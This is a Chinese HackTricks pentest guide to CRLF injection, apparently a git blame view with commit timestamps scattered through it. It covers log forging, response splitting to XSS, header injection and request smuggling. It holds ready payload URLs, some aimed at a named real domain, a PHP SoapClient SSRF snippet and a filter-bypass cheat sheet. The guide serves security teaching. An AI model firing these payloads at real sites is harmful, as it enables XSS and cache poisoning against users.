hacktricks/pentesting-web/crlf-0d-0a.md

252 lines
15 KiB
Markdown
Raw Normal View History

# CRLF (%0D%0A) 注入
2022-04-28 16:01:33 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* 如果你在一家**网络安全公司**工作?你想在**HackTricks 中看到你的公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **提交 PRs 分享你的黑客技巧** 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud)。
2022-04-28 16:01:33 +00:00
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
如果你对**黑客职业**感兴趣并且想要黑掉不可黑的 - **我们正在招聘!** (_需要流利的波兰语书写和口语_).
2022-04-28 16:01:33 +00:00
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
## 什么是 CRLF
当浏览器向 web 服务器发送请求时web 服务器会回应一个包含 HTTP 响应头和实际网站内容的响应即响应体。HTTP 头和 HTML 响应(网站内容)由特定的特殊字符组合分隔,即回车符和换行符。简称它们为 CRLF。
web 服务器使用 CRLF 来理解何时开始新的 HTTP 头以及另一个结束。CRLF 还可以告诉 web 应用程序或用户在文件或文本块中开始新行。CRLF 字符是标准的 HTTP/1.1 消息,因此它被任何类型的 web 服务器使用,包括 Apache、Microsoft IIS 和其他所有服务器。\
来自 [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### 什么是 CRLF 注入漏洞?
在 CRLF 注入漏洞攻击中攻击者将回车符和换行符插入用户输入以欺骗服务器、web 应用程序或用户认为一个对象已终止并且另一个已开始。因此CRLF 序列不是恶意字符,但它们可以用于恶意意图,例如 HTTP 响应分割等。
## 在 web 应用程序中的 CRLF 注入
在 web 应用程序中CRLF 注入可能会产生严重影响,这取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行不等,是直接影响 web 应用程序安全的漏洞。实际上CRLF 注入攻击可能对 web 应用程序产生非常严重的后果,尽管它从未被列入 OWASP Top 10 列表。例如,也可以像下面的例子中解释的那样操纵管理面板中的日志文件。
#### 在日志文件中的 CRLF 注入示例
想象一个在管理面板中的日志文件,输出流模式为 IP - 时间 - 访问路径,如下所示:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
如果攻击者能够将CRLF字符注入HTTP请求他就能改变输出流并伪造日志条目。他可以将web应用程序的响应更改为类似以下内容
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
```
%0d和%0a是CR和LF的URL编码形式。因此在攻击者插入这些字符且应用程序显示它们之后日志条目将如下所示
2023-08-03 19:12:22 +00:00
IP - 时间 - 访问路径
```
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
```markdown
因此通过利用CRLF注入漏洞攻击者可以在日志文件中伪造条目以掩盖他自己的恶意行为。攻击者实际上正在进行页面劫持并修改响应。例如想象一个场景攻击者拥有管理员密码并执行了restrictedaction参数该参数只能由管理员使用。
问题在于如果管理员注意到一个未知IP使用了restrictedaction参数会意识到有些不对劲。然而由于现在看起来像是由localhost因此可能是由有权访问服务器的人如管理员发出的命令它看起来并不可疑。
整个查询部分,从%0d%0a开始的将被服务器作为一个参数处理。之后有另一个&符号带有参数restrictedaction服务器将其解析为另一个参数。实际上这将是与以下查询相同的
```
```
/index.php?page=home&restrictedaction=edit
```
### HTTP 响应拆分
2023-08-03 19:12:22 +00:00
#### 描述
由于HTTP响应的头部和正文是由CRLF字符分隔的攻击者可以尝试注入这些字符。CRLFCRLF的组合会告诉浏览器头部结束正文开始。这意味着攻击者现在能够在响应正文中写入数据也就是存储html代码的地方。这可能导致跨站脚本XSS漏洞。
#### 导致XSS的HTTP响应拆分示例
想象一个应用程序设置了一个自定义头部,例如:
```
X-Your-Name: Bob
```
```markdown
请求头的值是通过一个名为“name”的get参数设置的。如果没有URL编码并且值直接反映在头部攻击者可能能够插入上述的CRLFCRLF组合告诉浏览器请求体的开始。这样他就能够插入数据例如XSS载荷
```
```
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
```
上述操作将在被攻击域的上下文中显示一个警告窗口。
#### 一个导致重定向的HTTP响应分割的例子
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
浏览至:
```
/%0d%0aLocation:%20http://myweb.com
```
服务器响应的头部为:
```
Location: http://myweb.com
```
**其他示例:(来源于** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2023-08-03 19:12:22 +00:00
#### 在URL路径中
您可以将有效载荷**发送到URL路径内**,以控制服务器的**响应**
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
```markdown
2021-04-17 15:19:39 +00:00
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
2023-08-03 19:12:22 +00:00
### HTTP头注入
2021-04-17 15:20:44 +00:00
2023-08-03 19:12:22 +00:00
#### 描述
2021-04-17 15:20:44 +00:00
通过利用CRLF注入攻击者也可以插入HTTP头这可能用于击败安全机制如浏览器的XSS过滤器或同源策略。这允许攻击者获取敏感信息如CSRF令牌。他还可以设置cookie这可能通过记录受害者在攻击者账户中的登录信息或通过利用其他不可利用的XSS漏洞来进行利用。
2021-04-17 15:20:44 +00:00
#### 利用HTTP头注入提取敏感数据的示例
2021-04-17 15:20:44 +00:00
如果攻击者能够注入激活CORS跨源资源共享的HTTP头他可以使用javascript访问本由SOP同源策略保护的资源SOP阻止不同来源的站点相互访问。
2021-04-17 15:19:39 +00:00
### 在SSRF中的新HTTP请求
2021-04-17 15:19:39 +00:00
滥用CRLF注入你可以**构造一个新的HTTP请求并注入它**。\
一个很好的例子可以使用PHP中的`SoapClient`反序列化小工具来完成。这个类对于`user_agent`参数内的**CRLF是**容易受到攻击的,允许**插入新的头和正文内容**。然而,你甚至可以利用这个漏洞来**注入一个新的HTTP请求**
```
2021-04-17 15:19:39 +00:00
```php
2023-08-03 19:12:22 +00:00
$target = 'http://127.0.0.1:9090/test';
2021-04-17 15:19:39 +00:00
$post_string = 'variable=post value';
$crlf = array(
2023-08-03 19:12:22 +00:00
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
2021-04-17 15:19:39 +00:00
);
$client = new SoapClient(null,
2023-08-03 19:12:22 +00:00
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
2021-04-17 15:19:39 +00:00
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### 头注入到请求走私
您可以注入关键头部,确保**后端在响应初始请求后保持连接开放**
2022-10-05 09:28:25 +00:00
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
然后,**指定第二个请求**。这里有一个**经典的**[**请求走私**](http-request-smuggling/),服务器在注入后附加了**额外的** **头部/正文**
以下是跨用户利用的众多选项中的两个。
2022-10-05 09:28:25 +00:00
指定一个**恶意前缀**来污染下一个用户的请求,或者是网页缓存:
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
或者制作我们的前缀,与尾随的垃圾结合,创建一个完整的第二个请求,以触发**响应队列污染**。
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
有关此技术和潜在问题的更多信息[**查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
2022-10-05 09:28:25 +00:00
### Memcache 注入
2023-02-16 13:29:30 +00:00
Memcache 是一个**使用明文协议的键值存储**。更多信息在:
2023-02-16 13:29:30 +00:00
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
如果一个平台正在从 HTTP 请求中获取**数据,并且在未经消毒的情况下使用它来对**memcache**服务器进行**请求**,攻击者可以利用这种行为**注入新的 memcache 命令**。
2023-02-16 13:29:30 +00:00
例如,在最初发现的漏洞中,缓存键被用来返回用户应该连接的 IP 和端口,攻击者能够**注入 memcache 命令**,这些命令会**污染** **缓存,将受害者的详细信息**(包括用户名和密码)发送到攻击者的服务器:
2023-02-16 13:29:30 +00:00
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
2023-02-16 13:29:30 +00:00
此外,研究人员还发现,他们可以解同步 memcache 响应,将攻击者的 ip 和端口发送给那些攻击者不知道电子邮件的用户:
2023-02-16 13:29:30 +00:00
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**要获取完整信息,请阅读**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
2023-02-16 13:29:30 +00:00
## CRLF 注入漏洞的影响
CRLF 注入的影响各不相同,还包括所有跨站脚本攻击到信息泄露的影响。它还可以禁用某些安全限制,如 XSS 过滤器和受害者浏览器中的同源策略,使他们容易受到恶意攻击。
### 如何在 Web 应用程序中预防 CRLF / HTTP 头注入
最佳预防技术是不要直接在响应头中使用用户输入。如果这不可能,你应该始终使用一个函数来编码 CRLF 特殊字符。另一个良好的 Web 应用程序安全最佳实践是更新你的编程语言到一个版本,该版本不允许在设置 HTTP 头的函数中注入 CR 和 LF。
### 速查表
```
1. HTTP Response Splitting
2021-06-23 17:08:03 +00:00
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
2023-08-03 19:12:22 +00:00
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 自动化工具
2020-09-11 09:44:53 +00:00
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
2020-09-11 09:44:53 +00:00
2023-08-03 19:12:22 +00:00
## 暴力破解检测列表
2021-06-27 21:56:13 +00:00
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
2021-06-27 21:56:13 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2022-04-05 22:24:52 +00:00
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
2023-02-16 13:29:30 +00:00
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
2022-04-28 16:01:33 +00:00
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
如果您对**黑客职业**感兴趣,并且想要黑进那些不可黑的系统 - **我们正在招聘!**_需要流利的波兰语书写和口语_
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>